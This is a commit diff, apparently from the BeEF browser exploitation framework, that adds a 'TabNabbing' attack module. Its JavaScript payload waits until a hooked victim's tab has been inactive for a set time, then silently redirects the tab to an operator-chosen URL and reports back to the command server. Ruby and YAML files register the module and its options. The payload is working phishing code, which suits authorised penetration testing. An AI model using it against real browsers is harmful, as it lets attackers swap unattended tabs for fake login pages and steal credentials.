Added TabNabbing module
This commit is contained in:
38
modules/browser/tabnapping/command.js
Normal file
38
modules/browser/tabnapping/command.js
Normal file
@@ -0,0 +1,38 @@
|
||||
//
|
||||
// Copyright 2011 Wade Alcorn wade@bindshell.net
|
||||
//
|
||||
// Licensed under the Apache License, Version 2.0 (the "License");
|
||||
// you may not use this file except in compliance with the License.
|
||||
// You may obtain a copy of the License at
|
||||
//
|
||||
// http://www.apache.org/licenses/LICENSE-2.0
|
||||
//
|
||||
// Unless required by applicable law or agreed to in writing, software
|
||||
// distributed under the License is distributed on an "AS IS" BASIS,
|
||||
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
// See the License for the specific language governing permissions and
|
||||
// limitations under the License.
|
||||
//
|
||||
beef.execute(function() {
|
||||
|
||||
var url = "<%= @url %>";
|
||||
var wait = <%= @wait %>*1000*60;
|
||||
var tabnab_timer;
|
||||
|
||||
beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=waiting for tab to become inactive');
|
||||
|
||||
// begin countdown when the tab loses focus
|
||||
window.onblur = function() {
|
||||
begin_countdown();
|
||||
}
|
||||
|
||||
// stop countdown if the tab regains focus
|
||||
window.onfocus = function() {
|
||||
clearTimeout(tabnab_timer);
|
||||
}
|
||||
|
||||
begin_countdown = function() {
|
||||
tabnab_timer = setTimeout(function() { beef.net.send('<%= @command_url %>', <%= @command_id %>, 'tabnab=redirected'); window.location = url; }, wait);
|
||||
}
|
||||
|
||||
});
|
||||
26
modules/browser/tabnapping/config.yaml
Normal file
26
modules/browser/tabnapping/config.yaml
Normal file
@@ -0,0 +1,26 @@
|
||||
#
|
||||
# Copyright 2011 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
beef:
|
||||
module:
|
||||
tabnabbing:
|
||||
enable: true
|
||||
category: "Browser"
|
||||
name: "TabNabbing"
|
||||
description: "This module redirects to the specified URL after the tab has been inactive for a specified amount of time."
|
||||
authors: ["bcoles"]
|
||||
target:
|
||||
user_notify: ["All"]
|
||||
|
||||
33
modules/browser/tabnapping/module.rb
Normal file
33
modules/browser/tabnapping/module.rb
Normal file
@@ -0,0 +1,33 @@
|
||||
#
|
||||
# Copyright 2011 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
class Tabnabbing < BeEF::Core::Command
|
||||
|
||||
def self.options
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/basic.html"
|
||||
return [
|
||||
{ 'name' => 'url', 'description' => 'Redirect URL', 'ui_label' => 'URL', 'value' => uri, 'width'=>'400px' },
|
||||
{ 'name' => 'wait', 'description' => 'Wait (minutes)', 'ui_label' => 'Wait (minutes)', 'value' => '15', 'width'=>'150px' }
|
||||
]
|
||||
end
|
||||
|
||||
def post_execute
|
||||
content = {}
|
||||
content['tabnab'] = @datastore['tabnab']
|
||||
save content
|
||||
end
|
||||
|
||||
end
|
||||
@@ -15,8 +15,17 @@
|
||||
#
|
||||
|
||||
class Hook_ie < BeEF::Core::Command
|
||||
|
||||
|
||||
def self.options
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
hook_uri = "http://#{configuration.get("beef.http.host")}:#{configuration.get("beef.http.port")}/demos/report.html"
|
||||
return [
|
||||
#{'name' => 'url', 'ui_label'=>'URL', 'type' => 'text', 'width' => '400px', 'value' => hook_uri },
|
||||
]
|
||||
end
|
||||
|
||||
def pre_send
|
||||
|
||||
#Get the servers configurations.
|
||||
configuration = BeEF::Core::Configuration.instance
|
||||
|
||||
|
||||
Reference in New Issue
Block a user